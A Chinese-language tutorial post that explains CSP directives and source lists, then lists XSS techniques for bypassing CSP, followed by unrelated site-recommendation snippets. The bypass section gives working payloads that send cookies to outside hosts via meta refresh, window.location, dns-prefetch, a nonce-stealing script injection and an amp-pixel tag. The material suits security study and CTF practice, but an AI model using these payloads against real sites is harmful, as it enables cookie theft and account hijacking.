CSP策略及繞過方法

XSS的時候經(jīng)常要繞過CSP,這里總結(jié)一下


CSP策略

一個CSP頭由多組CSP策略組成闺阱,中間由分號分隔炮车,就像這樣:

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一組策略包含一個策略指令和一個內(nèi)容源列表

一、常用的策略指令:

  • default-src

default-src 指令定義了那些沒有被更精確指令指定的安全策略酣溃。這些指令包括:

  • child-src
  • connect-src
  • font-src
  • img-src
  • media-src
  • object-src
  • script-src
  • style-src
  • script-src

script-src定義了頁面中Javascript的有效來源

  • style-src

style-src定義了頁面中CSS樣式的有效來源

  • img-src

img-src定義了頁面中圖片和圖標的有效來源

  • font-src

font-src定義了字體加載的有效來源

  • connect-src

connect-src定義了請求瘦穆、XMLHttpRequest、WebSocket 和 EventSource 的連接來源赊豌。

  • child-src

child-src 指定定義了 web workers 以及嵌套的瀏覽上下文(如<frame>和<iframe>)的源扛或。

二、內(nèi)容源:

內(nèi)容源有三種:源列表碘饼、關(guān)鍵字和數(shù)據(jù)

  • 源列表

源列表是一個字符串熙兔,指定了一個或多個互聯(lián)網(wǎng)主機(通過主機名或 IP 地址),和可選的或端口號艾恼。站點地址可以包含可選的通配符前綴 (星號, '*')住涉,端口號也可以使用通配符 (同樣是 '*') 來表明所有合法端口都是有效來源。主機通過空格分隔钠绍。
有效的主機表達式包括:
http://*.foo.com (匹配所有使用 http協(xié)議加載 foo.com 任何子域名的嘗試舆声。)
mail.foo.com:443 (匹配所有訪問 mail.foo.com 的 443 端口 的嘗試。)
https://store.foo.com (匹配所有使用 https協(xié)議訪問 store.foo.com 的嘗試柳爽。)
如果端口號沒有被指定媳握,瀏覽器會使用指定協(xié)議的默認端口號碱屁。如果協(xié)議沒有被指定,瀏覽器會使用訪問該文檔時的協(xié)議毙芜。

  • 關(guān)鍵字
    • 'none'
      代表空集忽媒;即不匹配任何 URL。兩側(cè)單引號是必須的腋粥。
    • 'self'
      代表和文檔同源晦雨,包括相同的 URL 協(xié)議和端口號。兩側(cè)單引號是必須的隘冲。
    • 'unsafe-inline'
      允許使用內(nèi)聯(lián)資源闹瞧,如內(nèi)聯(lián)的<script>元素、javascript: URL展辞、內(nèi)聯(lián)的事件處理函數(shù)和內(nèi)聯(lián)的<style>元素奥邮,兩側(cè)單引號是必須的。
    • 'unsafe-eval'
      允許使用 eval() 等通過字符串創(chuàng)建代碼的方法罗珍。兩側(cè)單引號是必須的洽腺。
Content-Security-Policy: default-src 'self' trustedscripts.foo.com
  • 數(shù)據(jù)
    • data:
      允許data: URI作為內(nèi)容來源。
    • mediastream:
      允許mediastream: URI作為內(nèi)容來源覆旱。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

CSP繞過方式

CSP的設置可能情況太多蘸朋,這里只討論幾個比較典型的情況。

一扣唱、url跳轉(zhuǎn)

在default-src 'none'的情況下藕坯,可以使用meta標簽實現(xiàn)跳轉(zhuǎn)

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允許unsafe-inline的情況下,可以用window.location噪沙,或者window.open之類的方法進行跳轉(zhuǎn)繞過炼彪。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

二、<link>標簽預加載

CSP對link標簽的預加載功能考慮不完善正歼。
在Chrome下辐马,可以使用如下標簽發(fā)送cookie(最新版Chrome會禁止)

<link rel="prefetch" >

在Firefox下,可以將cookie作為子域名局义,用dns預解析的方式把cookie帶出去齐疙,查看dns服務器的日志就能得到cookie

<link rel="dns-prefetch" href="http://[cookie].xxx.ceye.io">

三、利用瀏覽器補全

有些網(wǎng)站限制只有某些腳本才能使用旭咽,往往會使用<script>標簽的nonce屬性贞奋,只有nonce一致的腳本才生效,比如CSP設置成下面這樣:

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么當腳本插入點為如下的情況時

<p>插入點</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

這樣會拼成一個新的script標簽穷绵,其中的src可以自由設定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

四轿塔、代碼重用

Blackhat2017上有篇ppt總結(jié)了可以被用來繞過CSP的一些JS庫。
例如假設頁面中使用了Jquery-mobile庫,并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'"勾缭,那么下面的向量就可以繞過CSP:

<div data-role=popup id='<script>alert(1)</script>'></div>

在這個PPT之外的還有一些庫也可以被利用揍障,例如RCTF2018中遇到的amp庫,下面的標簽可以獲取名字為FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

五俩由、iframe

1.如果頁面A中有CSP限制毒嫡,但是頁面B中沒有,同時A和B同源幻梯,那么就可以在A頁面中包含B頁面來繞過CSP:

<iframe src="B"></iframe>

2.在Chrome下兜畸,iframe標簽支持csp屬性,這有時候可以用來繞過一些防御碘梢,例如"http://xxx"頁面有個js庫會過濾XSS向量咬摇,我們就可以使用csp屬性來禁掉這個js庫。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

六煞躬、meta標簽

meta標簽有一些不常用的功能有時候有奇效:
meta可以控制緩存(在header沒有設置的情況下)肛鹏,有時候可以用來繞過CSP nonce。

<meta http-equiv="cache-control" content="public">

meta可以設置Cookie(Firefox下)恩沛,可以結(jié)合self-xss利用在扰。

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市雷客,隨后出現(xiàn)的幾起案子芒珠,更是在濱河造成了極大的恐慌,老刑警劉巖佛纫,帶你破解...
    沈念sama閱讀 216,372評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異总放,居然都是意外死亡呈宇,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評論 3 392
  • 文/潘曉璐 我一進店門局雄,熙熙樓的掌柜王于貴愁眉苦臉地迎上來甥啄,“玉大人,你說我怎么就攤上這事炬搭◎诶欤” “怎么了?”我有些...
    開封第一講書人閱讀 162,415評論 0 353
  • 文/不壞的土叔 我叫張陵宫盔,是天一觀的道長融虽。 經(jīng)常有香客問我,道長灼芭,這世上最難降的妖魔是什么有额? 我笑而不...
    開封第一講書人閱讀 58,157評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上巍佑,老公的妹妹穿的比我還像新娘茴迁。我一直安慰自己,他們只是感情好萤衰,可當我...
    茶點故事閱讀 67,171評論 6 388
  • 文/花漫 我一把揭開白布堕义。 她就那樣靜靜地躺著,像睡著了一般脆栋。 火紅的嫁衣襯著肌膚如雪倦卖。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,125評論 1 297
  • 那天筹吐,我揣著相機與錄音糖耸,去河邊找鬼。 笑死丘薛,一個胖子當著我的面吹牛嘉竟,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播洋侨,決...
    沈念sama閱讀 40,028評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼舍扰,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了希坚?” 一聲冷哼從身側(cè)響起边苹,我...
    開封第一講書人閱讀 38,887評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎裁僧,沒想到半個月后个束,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,310評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡聊疲,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,533評論 2 332
  • 正文 我和宋清朗相戀三年茬底,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片获洲。...
    茶點故事閱讀 39,690評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡阱表,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出贡珊,到底是詐尸還是另有隱情最爬,我是刑警寧澤,帶...
    沈念sama閱讀 35,411評論 5 343
  • 正文 年R本政府宣布门岔,位于F島的核電站爱致,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏寒随。R本人自食惡果不足惜蒜鸡,卻給世界環(huán)境...
    茶點故事閱讀 41,004評論 3 325
  • 文/蒙蒙 一胯努、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧逢防,春花似錦叶沛、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至局嘁,卻和暖如春溉箕,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背悦昵。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評論 1 268
  • 我被黑心中介騙來泰國打工肴茄, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人但指。 一個月前我還...
    沈念sama閱讀 47,693評論 2 368
  • 正文 我出身青樓寡痰,卻偏偏與公主長得像,于是被迫代替她去往敵國和親棋凳。 傳聞我的和親對象是個殘疾皇子拦坠,可洞房花燭夜當晚...
    茶點故事閱讀 44,577評論 2 353

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務發(fā)現(xiàn)剩岳,斷路器贞滨,智...
    卡卡羅2017閱讀 134,651評論 18 139
  • 簡介 用簡單的話來定義tcpdump,就是:dump the traffic on a network拍棕,根據(jù)使用者...
    保川閱讀 5,956評論 1 13
  • Spring Boot 參考指南 介紹 轉(zhuǎn)載自:https://www.gitbook.com/book/qbgb...
    毛宇鵬閱讀 46,803評論 6 342
  • 多線程晓铆、特別是NSOperation 和 GCD 的內(nèi)部原理。運行時機制的原理和運用場景绰播。SDWebImage的原...
    LZM輪回閱讀 2,007評論 0 12
  • 原文: 高性能網(wǎng)絡瀏覽器-第四章傳輸層安全性(Transport Layer Security,TLS) 翻譯: ...
    夢很想家閱讀 4,613評論 2 6